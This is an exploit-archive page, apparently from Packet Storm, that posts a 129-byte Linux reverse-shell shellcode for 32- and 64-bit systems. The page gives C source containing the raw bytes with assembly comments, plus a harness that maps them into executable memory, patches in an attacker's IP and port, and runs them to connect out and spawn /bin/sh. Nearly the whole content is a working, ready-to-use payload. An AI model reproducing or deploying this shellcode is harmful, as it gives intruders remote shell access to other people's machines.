exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Linux Multi/Dual Mode Reverse Shell Shellcode

Linux Multi/Dual Mode Reverse Shell Shellcode
Posted Feb 2, 2017
Authored by odzhancode

129 bytes small Linux multi/dual mode reverse shell shellcode.

tags | shell, shellcode
systems | linux
SHA-256 | 8ebb0b251f9768ff93502f0d5f19bb8a0d5493ef5ee14002fd92ec841d336a2c

Linux Multi/Dual Mode Reverse Shell Shellcode

Change Mirror Download
/**
Copyright A(c) 2017 Odzhan. All Rights Reserved.

Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:

1. Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.

2. Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.

3. The name of the author may not be used to endorse or promote products
derived from this software without specific prior written permission.

THIS SOFTWARE IS PROVIDED BY AUTHORS "AS IS" AND ANY EXPRESS OR
IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,
INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE. */

#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>

#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/mman.h>

// reverse shell for 32 and 64-bit Linux
//
#define RS_SIZE 129

char RS[] = {
/* 0000 */ "\xb8\xfd\xff\xfb\x2d" /* mov eax, 0x2dfbfffd */
/* 0005 */ "\xbb\x80\xff\xff\xfe" /* mov ebx, 0xfeffff80 */
/* 000A */ "\xf7\xd0" /* not eax */
/* 000C */ "\xf7\xd3" /* not ebx */
/* 000E */ "\x50" /* push rax */
/* 000F */ "\x50" /* push rax */
/* 0010 */ "\x54" /* push rsp */
/* 0011 */ "\x5f" /* pop rdi */
/* 0012 */ "\xab" /* stosd */
/* 0013 */ "\x93" /* xchg ebx, eax */
/* 0014 */ "\xab" /* stosd */
/* 0015 */ "\x54" /* push rsp */
/* 0016 */ "\x5d" /* pop rbp */
/* 0017 */ "\x31\xc0" /* xor eax, eax */
/* 0019 */ "\x99" /* cdq */
/* 001A */ "\xb0\x67" /* mov al, 0x67 */
/* 001C */ "\x6a\x01" /* push 0x1 */
/* 001E */ "\x5e" /* pop rsi */
/* 001F */ "\x6a\x02" /* push 0x2 */
/* 0021 */ "\x5f" /* pop rdi */
/* 0022 */ "\x48\x75\x19" /* jnz 0x3e */
/* 0025 */ "\xb0\x29" /* mov al, 0x29 */
/* 0027 */ "\x0f\x05" /* syscall */
/* 0029 */ "\x97" /* xchg edi, eax */
/* 002A */ "\x96" /* xchg esi, eax */
/* 002B */ "\xb0\x21" /* mov al, 0x21 */
/* 002D */ "\x0f\x05" /* syscall */
/* 002F */ "\x83\xee\x01" /* sub esi, 0x1 */
/* 0032 */ "\x79\xf7" /* jns 0x2b */
/* 0034 */ "\x55" /* push rbp */
/* 0035 */ "\x5e" /* pop rsi */
/* 0036 */ "\xb2\x10" /* mov dl, 0x10 */
/* 0038 */ "\xb0\x2a" /* mov al, 0x2a */
/* 003A */ "\x0f\x05" /* syscall */
/* 003C */ "\xeb\x1f" /* jmp 0x5d */
/* 003E */ "\x56" /* push rsi */
/* 003F */ "\x5b" /* pop rbx */
/* 0040 */ "\x52" /* push rdx */
/* 0041 */ "\x53" /* push rbx */
/* 0042 */ "\x57" /* push rdi */
/* 0043 */ "\x54" /* push rsp */
/* 0044 */ "\x59" /* pop rcx */
/* 0045 */ "\xcd\x80" /* int 0x80 */
/* 0047 */ "\x93" /* xchg ebx, eax */
/* 0048 */ "\x59" /* pop rcx */
/* 0049 */ "\xb0\x3f" /* mov al, 0x3f */
/* 004B */ "\xcd\x80" /* int 0x80 */
/* 004D */ "\x49\x79\xf9" /* jns 0x49 */
/* 0050 */ "\x6a\x10" /* push 0x10 */
/* 0052 */ "\x55" /* push rbp */
/* 0053 */ "\x53" /* push rbx */
/* 0054 */ "\x54" /* push rsp */
/* 0055 */ "\x59" /* pop rcx */
/* 0056 */ "\x6a\x03" /* push 0x3 */
/* 0058 */ "\x5b" /* pop rbx */
/* 0059 */ "\xb0\x66" /* mov al, 0x66 */
/* 005B */ "\xcd\x80" /* int 0x80 */
/* 005D */ "\x99" /* cdq */
/* 005E */ "\x31\xf6" /* xor esi, esi */
/* 0060 */ "\x50" /* push rax */
/* 0061 */ "\x50" /* push rax */
/* 0062 */ "\x50" /* push rax */
/* 0063 */ "\x54" /* push rsp */
/* 0064 */ "\x5b" /* pop rbx */
/* 0065 */ "\x53" /* push rbx */
/* 0066 */ "\x5f" /* pop rdi */
/* 0067 */ "\xc7\x07\x2f\x62\x69\x6e" /* mov dword [rdi], 0x6e69622f */
/* 006D */ "\xc7\x47\x04\x2f\x2f\x73\x68" /* mov dword [rdi+0x4], 0x68732f2f */
/* 0074 */ "\x40\x75\x04" /* jnz 0x7b */
/* 0077 */ "\xb0\x3b" /* mov al, 0x3b */
/* 0079 */ "\x0f\x05" /* syscall */
/* 007B */ "\x31\xc9" /* xor ecx, ecx */
/* 007D */ "\xb0\x0b" /* mov al, 0xb */
/* 007F */ "\xcd\x80" /* int 0x80 */
};

void bin2file(void *p, int len)
{
FILE *out = fopen("rs.bin", "wb");
if (out!= NULL)
{
fwrite(p, 1, len, out);
fclose(out);
}
}

void xcode(char *s, int len, uint32_t ip, int16_t port)
{
uint8_t *p;

p=(uint8_t*)mmap (0, len,
PROT_EXEC | PROT_WRITE | PROT_READ,
MAP_ANON | MAP_PRIVATE, -1, 0);

memcpy(p, s, len);
memcpy((void*)&p[3], &port, 2); // set the port
memcpy((void*)&p[6], &ip, 4); // set the ip

//bin2file(p, len);

// execute
((void(*)())p)();

munmap ((void*)p, len);
}

int main(int argc, char *argv[])
{
uint32_t ip = 0;
int16_t port = 0;

if (argc!=3) {
printf ("\nrs_test <ip> <port>\n");
return 0;
}
ip = inet_addr(argv[1]);
port = atoi(argv[2]);

if (port<0 || port>65535) {
printf ("\ninvalid port specified");
return 0;
}
port = htons(port);
// invert both to mask null bytes.
// obviously no rigorous checking here
ip = ~ip;
port = ~port;

xcode (RS, RS_SIZE, ip, port);
return 0;
}

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close